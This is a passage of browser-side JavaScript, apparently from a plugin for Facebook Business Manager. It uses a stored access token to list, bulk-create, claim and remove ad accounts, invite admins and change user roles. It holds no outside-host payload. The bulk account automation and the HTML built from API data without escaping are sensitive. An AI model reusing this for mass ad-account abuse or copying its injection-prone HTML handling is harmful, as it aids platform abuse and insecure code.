                                BMOwner = '';
                            } catch (e) {
                                BMUname = 'BM owned_ad_accounts = 0 ';
                                BMOwner = '';
                            }
                            ///////////shared
                            try {
                                var i = 0;
                                for (; i < bminf.client_ad_accounts.data.length; i++) {
                                    allcopy += bminf.client_ad_accounts.data[i].account_id + ',';
                                    try {
                                        if (bminf.client_ad_accounts.data[i].name) {
                                            ///BMUname=`<a href='https://fb.com/${bminf.data[i].id}' target="_blank">`+bminf.data[i].name+'</a>';
                                            BMUname = bminf.client_ad_accounts.data[i].name;
                                        }
                                    } catch (e) {
                                        BMUname = 'NA';
                                    }

                                    if (bminf.client_ad_accounts.data[i].account_status) {
                                        switch (bminf.client_ad_accounts.data[i].account_status) {
                                            case 1:
                                                astatus = '<b>🟢</b>';
                                                break; ///active
                                            case 2:
                                                astatus = '<b>🔴</b> <button style="background:#384959;color:white;" id="AdsAccAppeal' + bminf.client_ad_accounts.data[i].account_id + '" onclick="window.appealadsacc(`' + bminf.client_ad_accounts.data[i].account_id + '`); return false;">Appeal</button>';
                                                break; //disabled
                                            case 3:
                                                astatus = '<b>🟠</b>UNSETTLED';
                                                break;
                                            case 7:
                                                astatus = "PENDING_RISK_REVIEW";
                                                break;
                                            case 8:
                                                astatus = "PENDING_SETTLEMENT";
                                                break;
                                            case 9:
                                                astatus = "IN_GRACE_PERIOD";
                                                break;
                                            case 100:
                                                astatus = '<b>🚫</b><small>PENDING_CLOSE</small>';
                                                break;
                                            case 101:
                                                astatus = '<b>🚫</b>CLOSED';
                                                break;
                                            case 201:
                                                astatus = "ANY_ACTIVE";
                                                break;
                                            case 202:
                                                astatus = "ANY_CLOSED";
                                                break;
                                            default:
                                                astatus = "UNKNOWN " + bminf.client_ad_accounts.data[i].account_status;
                                                break;
                                        }
                                        //todo = todo + ("Account status: " + astatus + "\n<br>");
                                        bmdisstatus = astatus;
                                    }


                                    try {
                                        BMOwner = '<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24"><path d="M0 7v15h24v-15h-24zm22 13h-20v-6h6v-2h-6v-3h20v3h-6v2h6v6zm-13-15.5c0-.276.224-.5.5-.5h5c.276 0 .5.224.5.5v1.5h2v-2c0-1.104-.896-2-2-2h-6c-1.104 0-2 .896-2 2v2h2v-1.5zm5 6.5h-4v4h4v-4z" fill="#79abd6"/></svg> ' + bminf.client_ad_accounts.data[i].owner_business.name;
                                    } catch (e) {
                                        // console.log('Personal?');
                                        // console.log(bminf.client_ad_accounts.data[i].owner);
                                        if (bminf.client_ad_accounts.data[i].owner) {
                                            BMOwner = '<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24"><path d="M23.995 24h-1.995c0-3.104.119-3.55-1.761-3.986-2.877-.664-5.594-1.291-6.584-3.458-.361-.791-.601-2.095.31-3.814 2.042-3.857 2.554-7.165 1.403-9.076-1.341-2.229-5.413-2.241-6.766.034-1.154 1.937-.635 5.227 1.424 9.025.93 1.712.697 3.02.338 3.815-.982 2.178-3.675 2.799-6.525 3.456-1.964.454-1.839.87-1.839 4.004h-1.995l-.005-1.241c0-2.52.199-3.975 3.178-4.663 3.365-.777 6.688-1.473 5.09-4.418-4.733-8.729-1.35-13.678 3.732-13.678 4.983 0 8.451 4.766 3.732 13.678-1.551 2.928 1.65 3.624 5.09 4.418 2.979.688 3.178 2.143 3.178 4.663l-.005 1.241zm-13.478-6l.91 2h1.164l.92-2h-2.994zm2.995 6l-.704-3h-1.615l-.704 3h3.023z" fill="#79abd6"/></svg> ' + bminf.client_ad_accounts.data[i].owner;
                                        } else BMOwner = 'NA';
                                    }
                                    goacc = 'https://business.facebook.com/adsmanager/manage/campaigns?act=' + bminf.client_ad_accounts.data[i].account_id + '&business_id=' + bmid;
                                    todoret = todoret + ("<tr><td>" + '' + BMUname + "</td> <td><center><b>" + bmdisstatus + "</b></center> " + "</td><td>" + BMOwner + "</td><td><b><a onclick='window.showMorePopupBMAccsRm(`" + bminf.client_ad_accounts.data[i].id + "`,`" + bmid + "`);'>" + '<svg width="14" height="14" clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="m12.002 2.005c5.518 0 9.998 4.48 9.998 9.997 0 5.518-4.48 9.998-9.998 9.998-5.517 0-9.997-4.48-9.997-9.998 0-5.517 4.48-9.997 9.997-9.997zm0 1.5c-4.69 0-8.497 3.807-8.497 8.497s3.807 8.498 8.497 8.498 8.498-3.808 8.498-8.498-3.808-8.497-8.498-8.497zm0 7.425 2.717-2.718c.146-.146.339-.219.531-.219.404 0 .75.325.75.75 0 .193-.073.384-.219.531l-2.717 2.717 2.727 2.728c.147.147.22.339.22.531 0 .427-.349.75-.75.75-.192 0-.384-.073-.53-.219l-2.729-2.728-2.728 2.728c-.146.146-.338.219-.53.219-.401 0-.751-.323-.751-.75 0-.192.073-.384.22-.531l2.728-2.728-2.722-2.722c-.146-.147-.219-.338-.219-.531 0-.425.346-.749.75-.749.192 0 .385.073.531.219z" fill-rule="nonzero" fill="#79abd6"/></svg>' + "</a></b></td><td><b><a href='" + goacc + "' target='_blank'><svg width=\"14\" height=\"14\" xmlns=\"http://www.w3.org/2000/svg\" fill-rule=\"evenodd\" viewBox=\"0 0 24 24\" clip-rule=\"evenodd\"><path d=\"M14 4h-13v18h20v-11h1v12h-22v-20h14v1zm10 5h-1v-6.293l-11.646 11.647-.708-.708 11.647-11.646h-6.293v-1h8v8z\" fill=\"#79abd6\"/></svg></a></a></b></td></tr>");
                                    BMOwner = '';
                                    /// console.log(bminf.client_ad_accounts.data[i].account_id);	
                                }
                            } catch (e) {
                                console.log('BM client accounts = 0');
                            }




                            todoret = todoret + "</table>";
                            //}else{ toret='Error';}
                        }
                        todoret = todoret + "\n<hr width='90%'><center><button style='background:#384959;color:white;' onclick='window.copytocb(`" + allcopy + "`);return true;'>Copy ID</button> <button id='showMorePopupBMAccsReqbtn' style='background:#384959;color:white;' onclick='window.showMorePopupBMAccsReq(`" + bmid + "`); return true;'>Request AdAccount</button> <button id='showMorePopupBMAccsAddbtn' style='background:#384959;color:white;' onclick='window.showMorePopupBMAccsAdd(`" + bmid + "`); return true;'>Create AdAccount</button></center><div id='showMorePopupBMAccsform'></div><div id='showMorePopupBMAccslog'></div>";
                        window.showPluginPopup(event, todoret, 'BM Ads Accounts');

                    });
            }


            window.showMorePopupBMAccsRm = async function(accid, bmid) {
                if (confirm('Are you sure you want to remove account ' + accid + ' from BM ' + bmid + ' ?')) {
                    let apiUrl = "https://graph.facebook.com/v17.0/";
                    let params;
                    params = `${bmid}/ad_accounts?access_token=${window.privateToken}`;
                    var urlencoded = new URLSearchParams();
                    urlencoded.append("method", "delete");
                    urlencoded.append("adaccount_id", accid);
                    urlencoded.append("access_token", window.privateToken);

                    let logNode = document.getElementById('showMorePopupBMAccslog');
                    let response = await fetch(apiUrl + params, {
                        mode: 'cors',
                        method: 'POST',
                        credentials: 'include',
                        redirect: "follow",
                        body: urlencoded
                    });
                    let json = await response.json();
                    if (json.error !== undefined) {
                        alert(json.error.message);
                        logNode.innerHTML += "\n<br>" + json.error.message
                        ///break;
                    } else {
                        logNode.innerHTML += "\n<br>Done!";
                    }
                    await sleep(1000);
                    window.showMorePopupBMAccs(bmid);
                    //}
                    function sleep(ms) {
                        return new Promise(resolve => setTimeout(resolve, ms));
                    }
                }
            }


            window.showMorePopupBMAccsAdd = function(bmid) {
                document.getElementById("showMorePopupBMAccsAddbtn").style.display = "none";
                document.getElementById("showMorePopupBMAccsReqbtn").style.display = "none";
                let addbmNode = document.getElementById('showMorePopupBMAccsform');
                let todo = '';
                todo = todo + '<table border="0.1">';

                todo = todo + '<tr><td><select style="background: #384959;color:white;" id="PrivateBMcnt">';
                var j = 1;
                for (; j < 6; j++) {
                    todo = todo + ("<option value='" + j + "'>" + j + "</option>'");
                }
                todo = todo + '</select><select style="background: #384959;color:white;" id="PrivateBMcurr"><option value="USD">USD</option><option value="EUR">EUR</option><option value="GBP">GBP</option><option value="PLN">PLN</option><option value="UAH">UAH</option></select><select style="background: #384959;color:white;" id="PrivateBMtz"><option value="137">TZ_EUROPE_KIEV</option><option value="106">TZ_EUROPE_WARSAW</option><option value="58">TZ_EUROPE_LONDON</option><option value="1">TZ_AMERICA_LOS_ANGELES</option></select></td></tr><tr><td><input type="text" id="PrivateBMname" placeholder="name_" style="background: #384959;color:white;" value="name_" maxlength="15" size="15"></tr></td><tr><td>Pixel:<input type="checkbox" id="BMAccAddpixel" value="" name="BMAccAddpixel"></td></tr><tr><td>Add Admin:<input type="checkbox" id="BMAccAddadmin" value="" name="BMAccAddadmin"></td></tr>';

                /* todo = todo + `<tr><td>Perm:</td><td> <select style="background: #384959;color:white;" id="BMAccsReqrole"><option value="3">MANAGE+</option><option value="2">ADVERTISE+</option><option value="1">ANALYZE</option></select></td></tr>
                 <tr><td>AdAcc ID:</td><td> <input type="text" id="BMAccsReqId" style="background: #384959;color:white;"  maxlength="50" size="30" value="act_xxx"></td></tr>`;
                 */
                todo = todo + '<tr><td><input type="hidden" id="BMAccsAddbmid" name="BMAccsAddbmid" value="' + bmid + '" /></td></tr><tr><td style="text-align: center; vertical-align: middle;"><button style="background:#384959;color:white;" id="BMAccsAddBtn" onclick="window.showMorePopupBMAccsAddProcessForm(); return true;">Create Acc</button></td></tr></table>';
                addbmNode.innerHTML = "\n<br>" + todo;
            }
            window.showMorePopupBMAccsAddProcessForm = async function() {
                let apiUrl = "https://graph.facebook.com/v17.0/";
                document.getElementById("BMAccsAddBtn").innerHTML = "Wait...";
                //let bmel = document.getElementById("PrivateBM");
                //let bmoption= bmel.options[bmel.selectedIndex];
                // let privateBMowner=bmoption.getAttribute('data-owner');

                let privateBMAddpix = document.getElementById("BMAccAddpixel").checked;
                let privateBMAddadmin = document.getElementById("BMAccAddadmin").checked;
                let privateBM = document.getElementById("BMAccsAddbmid").value;
                let privateBmName = document.getElementById("PrivateBMname").value;
                let privateBmTz = document.getElementById("PrivateBMtz").value;
                let privateBmCurr = document.getElementById("PrivateBMcurr").value;
                let privateBmCount = document.getElementById("PrivateBMcnt").value;
                //alert('ok');


                if (privateBMAddadmin == true) {
                    let params2e = `me?fields=id,business_users.business(${privateBM})&access_token=${window.privateToken}`;
                    let response2e = await fetch(apiUrl + params2e, {
                        mode: 'cors',
                        method: 'GET',
                        credentials: 'include',
                        redirect: "follow"
                    });
                    let json2e = await response2e.json();

                    // console.log(json2e);

                    try {
                        if (json2e.business_users.data[0].id) {
                            BMuidrole = json2e.business_users.data[0].id;
                        }
                    } catch (e) {
                        BMuidrole = 0;
                    }
                }



                for (let index = 1; index <= privateBmCount; index++) {
                    let params = `${privateBM}/adaccount?fields=id,name,adtrust_dsl,account_id`;
                    //console.log(apiUrl + params);
                    var urlencoded = new URLSearchParams();
                    urlencoded.append("name", privateBmName + index);
                    urlencoded.append("timezone_id", privateBmTz);
                    urlencoded.append("currency", privateBmCurr);
                    urlencoded.append("end_advertiser", "NONE");
                    urlencoded.append("media_agency", "NONE");
                    urlencoded.append("partner", "NONE");
                    urlencoded.append("access_token", window.privateToken);
                    let logNode = document.getElementById('showMorePopupBMAccslog');
                    let response = await fetch(apiUrl + params, {
                        mode: 'cors',
                        method: 'POST',
                        credentials: 'include',
                        redirect: "follow",
                        body: urlencoded
                    });
                    let json = await response.json();
                    console.log(json);
                    if (json.error !== undefined) {
                        alert(json.error.message);
                        logNode.innerHTML += "\n<br>" + json.error.message
                        break;
                    } else {
                        if (json.adtrust_dsl) {
                            logNode.innerHTML += "\n<br>" + json.name + " (" + json.id + ") [<b>" + json.adtrust_dsl + "   " + privateBmCurr + "</b>]";


                            if (BMuidrole > 0) {
                                if (json.id != 'null') {
                                    let params3 = json.id + `/assigned_users`;
                                    var urlencoded3 = new URLSearchParams();
                                    urlencoded3.append("access_token", window.privateToken);
                                    urlencoded3.append("user", BMuidrole);
                                    urlencoded3.append("tasks", '["ANALYZE","ADVERTISE","MANAGE"]');
                                    let response3 = await fetch(apiUrl + params3, {
                                        mode: 'cors',
                                        method: 'POST',
                                        credentials: 'include',
                                        redirect: "follow",
                                        body: urlencoded3
                                    });
                                    let json3 = await response3.json();
                                    console.log(json3);
                                }

                            }

                            if (privateBMAddpix == true) {
                                if (json.id != 'null') {
                                    let params2 = json.id + `/adspixels`;
                                    var urlencoded2 = new URLSearchParams();
                                    urlencoded2.append("access_token", window.privateToken);
                                    urlencoded2.append("name", json.id);
                                    let response2 = await fetch(apiUrl + params2, {
                                        mode: 'cors',
                                        method: 'POST',
                                        credentials: 'include',
                                        redirect: "follow",
                                        body: urlencoded2
                                    });
                                    let json2 = await response2.json();
                                    console.log(json2);
                                }
                            }




                        } else {
                            logNode.innerHTML += "\n<br>" + json.id;
                        }
                    }
                    await sleep(3000);
                }
                window.showMorePopupBMAccs(privateBM);


                //}
                function sleep(ms) {
                    return new Promise(resolve => setTimeout(resolve, ms));
                }
            }



            window.showMorePopupBMAccsReq = function(bmid) {
                document.getElementById("showMorePopupBMAccsAddbtn").style.display = "none";
                document.getElementById("showMorePopupBMAccsReqbtn").style.display = "none";
                let addbmNode = document.getElementById('showMorePopupBMAccsform');
                let todo = '';
                todo = todo + '<table border="0.1">';

                todo = todo + '';
                todo = todo + `<tr><td>Perm:</td><td> <select style="background: #384959;color:white;" id="BMAccsReqrole"><option value="3">MANAGE+</option><option value="2">ADVERTISE+</option><option value="1">ANALYZE</option></select></td></tr>
						<tr><td>AdAcc ID:</td><td> <input type="text" id="BMAccsReqId" style="background: #384959;color:white;"  maxlength="50" size="30" value="act_xxx"></td></tr>`;

                todo = todo + '<tr><td><input type="hidden" id="BMAccsReqbmid" name="BMAccsReqbmid" value="' + bmid + '" /></td><td style="text-align: center; vertical-align: middle;"><button style="background:#384959;color:white;" id="BMAccsReqClaimBtn" onclick="window.showMorePopupBMAccsReqProcessForm(); return false;">Claim Acc</button></td></tr></table>';
                addbmNode.innerHTML = "\n<br>" + todo;
            }
            window.showMorePopupBMAccsReqProcessForm = async function() {
                document.getElementById("BMAccsReqClaimBtn").innerHTML = "Wait...";
                let apiUrl = "https://graph.facebook.com/v17.0/";
                let privateBMtype = document.getElementById("BMAccsReqrole").value;
                let privateBM = document.getElementById("BMAccsReqbmid").value;
                let privateBmNu = document.getElementById("BMAccsReqId").value;
                let params;
                params = `${privateBM}/client_ad_accounts`;
                var urlencoded = new URLSearchParams();
                urlencoded.append("access_type", 'AGENCY');
                urlencoded.append("adaccount_id", privateBmNu);
                if (privateBMtype == 1) urlencoded.append("permitted_tasks", '["ANALYZE"]');
                else {
                    if (privateBMtype == 2) urlencoded.append("permitted_tasks", '["ADVERTISE","ANALYZE","DRAFT"]');
                    else
                        urlencoded.append("permitted_tasks", '["ADVERTISE","ANALYZE","DRAFT","MANAGE"]');
                }
                urlencoded.append("access_token", window.privateToken);
                let logNode = document.getElementById('showMorePopupBMAccslog');
                let response = await fetch(apiUrl + params, {
                    mode: 'cors',
                    method: 'POST',
                    credentials: 'include',
                    redirect: "follow",
                    body: urlencoded
                });
                let json = await response.json();
                if (json.error !== undefined) {
                    alert(json.error.error_user_msg);
                    logNode.innerHTML += "\n<br>" + json.error.error_user_msg;
                    ///break;
                } else {
                    logNode.innerHTML += "\n<br>Done!";
                }
                await sleep(1000);
                window.showMorePopupBMAccs(privateBM);
                //}
                function sleep(ms) {
                    return new Promise(resolve => setTimeout(resolve, ms));
                }
            }




            window.showMorePopupBMUsers = async function(bmid) {

                tmpapiurl = 'https://graph.facebook.com/v17.0/' + bmid + '?fields=business_users{active_status,id,email,two_fac_status,pending_email,name,role,title,is_two_fac_blocked,was_integrity_demoted,sensitive_action_reviews},pending_users{id,role,email,status}&limit=100&access_token=' + window.privateToken;
                var todoret = '';
                window.getJSON(tmpapiurl, await
                    function(err, bminf) {
                        if (err !== null) {
                            alert("Something went wrong: " + err)
                        } else {
                            if (bminf.business_users.data.length) {
                                // console.log(bminf);				  
                                todoret = todoret + '<table border="0.1"><tr style="font-size: 12px;text-decoration: none;color: #7FB5DA;"><th>Name</th><th>Role</th><th>#</th></tr>';
                                var i = 0;
                                for (; i < bminf.business_users.data.length; i++) {


                                    try {
                                        if (bminf.business_users.data[i].name) {
                                            ///BMUname=`<a href='https://fb.com/${bminf.data[i].id}' target="_blank">`+bminf.data[i].name+'</a>';
                                            BMUname = bminf.business_users.data[i].name;
                                        }
                                    } catch (e) {
                                        BMUname = 'NA';
                                    }
                                    try {
                                        if (bminf.business_users.data[i].role) {
                                            BMUrole = bminf.business_users.data[i].role;

                                            switch (bminf.business_users.data[i].role) {
                                                case "ADMIN":
                                                    BMUrole = '<select onchange="showMorePopupBMUsersEdit(`' + bminf.business_users.data[i].id + '`,`' + bmid + '`)" style="background: #384959;color:white;" id="BMUserEditrole' + bminf.business_users.data[i].id + '"><option value="ADMIN">Admin</option><option value="EMPLOYEE">Employee</option></select>';
                                                    break;
                                                default:
                                                    BMUrole = BMUrole = '<select onchange="showMorePopupBMUsersEdit(`' + bminf.business_users.data[i].id + '`,`' + bmid + '`)" style="background: #384959;color:white;" id="BMUserEditrole' + bminf.business_users.data[i].id + '"><option value="EMPLOYEE">Employee</option><option value="ADMIN">Admin</option></select>';
                                                    break;
                                            }




                                        }
                                    } catch (e) {
                                        BMUrole = 'NA';
                                    }

                                    todoret = todoret + ("<tr><td><b>" + BMUname + "</b></td> <td><center><b>" + BMUrole + "</b></center> " + "</td><td><b><a onclick='window.showMorePopupBMUsersRm(`" + bminf.business_users.data[i].id + "`,`" + bmid + "`);'><svg width=\"14\" height=\"14\" clip-rule=\"evenodd\" fill-rule=\"evenodd\" stroke-linejoin=\"round\" stroke-miterlimit=\"2\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"m4.015 5.494h-.253c-.413 0-.747-.335-.747-.747s.334-.747.747-.747h5.253v-1c0-.535.474-1 1-1h4c.526 0 1 .465 1 1v1h5.254c.412 0 .746.335.746.747s-.334.747-.746.747h-.254v15.435c0 .591-.448 1.071-1 1.071-2.873 0-11.127 0-14 0-.552 0-1-.48-1-1.071zm14.5 0h-13v17.006h13zm-4.25 2.506c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm-4.5 0c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm3.75-4v-.5h-3v.5z\" fill=\"#79abd6\"/></svg></a></b></td></tr>");
                                }
                                try {
                                    var i = 0;
                                    for (; i < bminf.pending_users.data.length; i++) {
                                        try {
                                            if (bminf.pending_users.data[i].email) {
                                                ///BMUname=`<a href='https://fb.com/${bminf.data[i].id}' target="_blank">`+bminf.data[i].name+'</a>';
                                                BMUname = bminf.pending_users.data[i].email;
                                            }
                                        } catch (e) {
                                            BMUname = 'NA';
                                        }
                                        try {
                                            if (bminf.pending_users.data[i].role) {
                                                BMUrole = bminf.pending_users.data[i].role;
                                            }
                                        } catch (e) {
                                            BMUrole = 'NA';
                                        }

                                        todoret = todoret + ("<tr><td><span style='color: yellow;'>" + BMUname + "</span></td> <td><center><b>Pending</b></center> " + "</td><td><b><a onclick='window.showMorePopupBMUsersRm(`" + bminf.pending_users.data[i].id + "`,`" + bmid + "`);'><svg width=\"14\" height=\"14\" clip-rule=\"evenodd\" fill-rule=\"evenodd\" stroke-linejoin=\"round\" stroke-miterlimit=\"2\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"m4.015 5.494h-.253c-.413 0-.747-.335-.747-.747s.334-.747.747-.747h5.253v-1c0-.535.474-1 1-1h4c.526 0 1 .465 1 1v1h5.254c.412 0 .746.335.746.747s-.334.747-.746.747h-.254v15.435c0 .591-.448 1.071-1 1.071-2.873 0-11.127 0-14 0-.552 0-1-.48-1-1.071zm14.5 0h-13v17.006h13zm-4.25 2.506c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm-4.5 0c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm3.75-4v-.5h-3v.5z\" fill=\"#79abd6\"/></svg></a></b></td></tr>");
                                    }
                                } catch (e) {
                                    console.log('0 pending users..');
                                }




                                todoret = todoret + "</table>";
                            } else {
                                toret = 'Error';
                            }
                        }
                        todoret = todoret + "\n<hr width='90%'><center><button id='showMorePopupBMUsersAddbtn' style='background:#384959;color:white;' onclick='window.showMorePopupBMUsersAdd(`" + bmid + "`); return true;'>Invite User</button></center><div id='showMorePopupBMUsersAddform'></div><div id='showMorePopupBMUsersAddlog'></div>";
                        window.showPluginPopup(event, todoret, 'BM users');

                    });
            }


            window.showMorePopupBMUsersEdit = async function(userid, bmid) {

                let BMrole = document.getElementById("BMUserEditrole" + userid).value;
                if (confirm('Are you sure you want to change the account role to: ' + BMrole + '?')) {

                    let apiUrl = "https://graph.facebook.com/v17.0/";
                    let params;
                    params = `${userid}?access_token=${window.privateToken}`;
                    var urlencoded = new URLSearchParams();
                    urlencoded.append("method", "POST");
                    urlencoded.append("role", BMrole);
                    urlencoded.append("access_token", window.privateToken);

                    let logNode = document.getElementById('showMorePopupBMUsersAddlog');
                    let response = await fetch(apiUrl + params, {
                        mode: 'cors',
                        method: 'POST',
                        credentials: 'include',
                        redirect: "follow",
                        body: urlencoded
                    });
                    let json = await response.json();
                    if (json.error !== undefined) {
                        alert(json.error.message);
                        logNode.innerHTML += "\n<br>" + json.error.message
                        ///break;
                    } else {
                        logNode.innerHTML += "\n<br>Update BM Role Done!";
                    }
                    await sleep(1000);
                    window.showMorePopupBMUsers(bmid);
                    //}
                    function sleep(ms) {
                        return new Promise(resolve => setTimeout(resolve, ms));
                    }
                }
            }

            window.showMorePopupBMUsersRm = async function(userid, bmid) {
                let apiUrl = "https://graph.facebook.com/v17.0/";
                let params;
                params = `${userid}?access_token=${window.privateToken}`;
                var urlencoded = new URLSearchParams();
                urlencoded.append("method", "delete");
                urlencoded.append("access_token", window.privateToken);

                let logNode = document.getElementById('showMorePopupBMUsersAddlog');
                let response = await fetch(apiUrl + params, {
                    mode: 'cors',
                    method: 'POST',
                    credentials: 'include',
                    redirect: "follow",
                    body: urlencoded
                });
                let json = await response.json();
                if (json.error !== undefined) {
                    alert(json.error.message);
                    logNode.innerHTML += "\n<br>" + json.error.message
                    ///break;
                } else {
                    logNode.innerHTML += "\n<br>Done!";
                }
                await sleep(2000);
                window.showMorePopupBMUsers(bmid);
                //}
                function sleep(ms) {
                    return new Promise(resolve => setTimeout(resolve, ms));
                }
            }
            window.showMorePopupBMUsersAdd = function(bmid) {
                document.getElementById("showMorePopupBMUsersAddbtn").style.display = "none";
                let addbmNode = document.getElementById('showMorePopupBMUsersAddform');
                let todo = '';
                todo = todo + '<table border="0.1">';

                todo = todo + '';
                todo = todo + `<tr><td>Role:</td><td> <select style="background: #384959;color:white;" id="BMUserAddrole"><option value="ADMIN">Admin</option><option value="EMPLOYEE">Employee</option></select></td></tr>
					  <tr><td>email:</td><td> <input type="text" id="BMUserAddemail" placeholder="mail" style="background: #384959;color:white;"  maxlength="50" size="30" value="@gmail.com"></td></tr>`;


                todo = todo + '<tr><td><input type="hidden" id="BMUserAddid" name="BMUserAddid" value="' + bmid + '" /></td><td style="text-align: center; vertical-align: middle;"><button style="background:#384959;color:white;" id="Tab5AddBMForm" onclick="window.showMorePopupBMUsersAddProcessForm(); return false;">Invite User</button></td></tr></table>';
                addbmNode.innerHTML = "\n<br>" + todo;
            }
            window.showMorePopupBMUsersAddProcessForm = async function() {
                let apiUrl = "https://graph.facebook.com/v17.0/";
                let privateBMtype = document.getElementById("BMUserAddrole").value;
                let privateBM = document.getElementById("BMUserAddid").value;
                let privateBmNu = document.getElementById("BMUserAddemail").value;
                let params;
                params = `${privateBM}/business_users`;
                var urlencoded = new URLSearchParams();
                urlencoded.append("email", privateBmNu);
                if (privateBMtype == 'ADMIN') urlencoded.append("role", 'ADMIN');
                else urlencoded.append("role", 'EMPLOYEE');
                urlencoded.append("access_token", window.privateToken);
                let logNode = document.getElementById('showMorePopupBMUsersAddlog');
                let response = await fetch(apiUrl + params, {
                    mode: 'cors',
                    method: 'POST',
                    credentials: 'include',
                    redirect: "follow",
                    body: urlencoded
                });
                let json = await response.json();
                if (json.error !== undefined) {
                    alert(json.error.message);
                    logNode.innerHTML += "\n<br>" + json.error.message
                    ///break;
                } else {
                    logNode.innerHTML += "\n<br>Done!";
                }
                await sleep(2000);
                window.showMorePopupBMUsers(privateBM);
                //}
                function sleep(ms) {
                    return new Promise(resolve => setTimeout(resolve, ms));
                }
            }




            window.showbmstatuspzrd = async function() {

                var bmlist = [];
                var tabelements = document.getElementsByClassName("pzrdbmrow");
                for (var i = 0; i < tabelements.length; i++) {
                    //console.log(tabelements[i].dataset.bmid);
                    bmlist.push(tabelements[i].dataset.bmid);
                }

                console.log(bmlist);
                try {
                    if (bmlist.length) {
                        for (var ibm = 0; ibm < bmlist.length; ibm++) {
                            console.log(bmlist[ibm]);
                            await window.PzrdBmList(bmlist[ibm]);
                        }
                    }
                } catch (e) {
                    console.log("No BM for pzrd check");
                }


            }

            window.showbmstatus = async function() {
                // var pzrdbmcheck = await pluginDbgetKey('pzrdbm');
                tmpapiurl = 'https://graph.facebook.com/v17.0/me/businesses?fields=id,is_disabled_for_integrity_reasons,can_use_extended_credit,name,timezone_id,verification_status,owned_ad_accounts.limit(100){account_status},client_ad_accounts.limit(500){account_status},owned_pages,client_pages,business_users,pending_users&limit=100&access_token=' + window.privateToken;
                var bmpzrdcheck = [];
                window.getJSON(tmpapiurl, function(err, bminf) {
                    if (err !== null) {
                        alert("Something went wrong: " + err)
                    } else {
                        //console.log(bminf.data);

                        if (bminf.data.length) {
                            document.getElementById("tabhead5").innerHTML = "Businesses(" + bminf.data.length + ")";
                            todo = "\n";
                            todo = todo + '<table border="0.1"><tr style="font-size: 12px;text-decoration: none;color: #7FB5DA;"><th>Name</th><th>Status</th><th>Limit</th><th>Acc</th><th>FP</th><th>Users</th><th></th><th><a class="close" style="transition: all 200ms;font-size: 24px;text-decoration: none;color: #79abd6;cursor:progress" onclick="window.showbmstatuspzrd();return true;" href="#"><svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"><path d="M14 12h-4v-12h4v12zm6.949-4.493l1.81-.857c-.353-.7-.758-1.368-1.236-1.981l-1.512 1.318c.36.474.667.986.938 1.52zm-.797-4.299c-.589-.54-1.214-1.038-1.9-1.454l-1.216 1.599c.577.334 1.104.739 1.602 1.177l1.514-1.322zm1.827 7.792h2.006c-.072-.861-.229-1.694-.473-2.493l-1.82.862c.144.527.23 1.074.287 1.631zm-1.895 6.919l1.539 1.29c.465-.616.871-1.276 1.211-1.976l-1.846-.787c-.259.519-.562 1.011-.904 1.473zm1.912-4.919c-.054.54-.162 1.063-.299 1.574l1.864.795c.224-.762.372-1.553.439-2.369h-2.004zm-3.258 6.403c-1.779 1.608-4.129 2.597-6.713 2.597-5.525 0-10.021-4.486-10.021-10 0-1.913.554-3.691 1.496-5.207l2.162 2.162 1.353-7.014-7.015 1.351 2.045 2.045c-1.287 1.904-2.045 4.191-2.045 6.663 0 6.627 5.385 12 12.025 12 3.204 0 6.107-1.259 8.264-3.297l-1.551-1.3z" fill="#79abd6"/></svg></a></th></tr>';
                            var i = 0;
                            for (; i < bminf.data.length; i++) {
                                bmpzrdcheck.push(bminf.data[i].id);
                                if (bminf.data[i].name) {
                                    todo = todo + "<tr>";
                                    bminf.data[i].name = "<b id='fbaccstatusbm" + bminf.data[i].id + "' onclick='window.shadowtext(`fbaccstatusbm" + bminf.data[i].id + "`);return true;'>" + bminf.data[i].name + "</b>" + "<b class='pzrdbmrow' data-bmid='" + bminf.data[i].id + "' id='fbaccstatusbmpzrd" + bminf.data[i].id + "'></b>";
                                    if (bminf.data[i].verification_status) {
                                        switch (bminf.data[i].verification_status) {
                                            case "verified":
                                                bmvstatus = '<span style="color: green;">' + bminf.data[i].name + '</span>';
                                                break;
                                            case "revoked":
                                                bmvstatus = '<span style="color: red;">' + bminf.data[i].name + '</span>';
                                                break;
                                            case "pending_submission":
                                                bmvstatus = '<span style="color: yellow;">' + bminf.data[i].name + '</span>';
                                                break;
                                            default:
                                                bmvstatus = "" + bminf.data[i].name;
                                                break;
                                        }
                                    }
                                    if (bminf.data[i].is_disabled_for_integrity_reasons == true) {
                                        bmdisstatus = '🔴<span style="color: red;">DISABLED</span>';
                                    } else {
                                        bmdisstatus = '🟢';
                                        //bmdisstatus='<span style="color: green;" alt="alt">ACTIVE</span>';
                                    }

                                    if (bminf.data[i].can_use_extended_credit == true) {
                                        bmlimstatus = '<span style="color: green;">$250+</span>';
                                    } else {
                                        bmlimstatus = '<span style="color: red;">$50</span>';
                                    }

                                    try {
                                        if (bminf.data[i].owned_ad_accounts.data.length) {
                                            ownacccnt = bminf.data[i].owned_ad_accounts.data.length;
                                        }
                                    } catch (e) {
                                        console.log("No BM own acc");
                                        ownacccnt = 0;
                                    }

                                    try {
                                        if (bminf.data[i].client_ad_accounts.data.length) {
                                            clientacccnt = bminf.data[i].client_ad_accounts.data.length;
                                        }
                                    } catch (e) {
                                        console.log("No BM client acc");
                                        clientacccnt = 0;
                                    }
                                    acccnt = ownacccnt + clientacccnt;

                                    try {
                                        if (bminf.data[i].owned_pages.data.length) {
                                            ownfpcnt = bminf.data[i].owned_pages.data.length;
                                        }
                                    } catch (e) {
                                        console.log("No BM own pages");
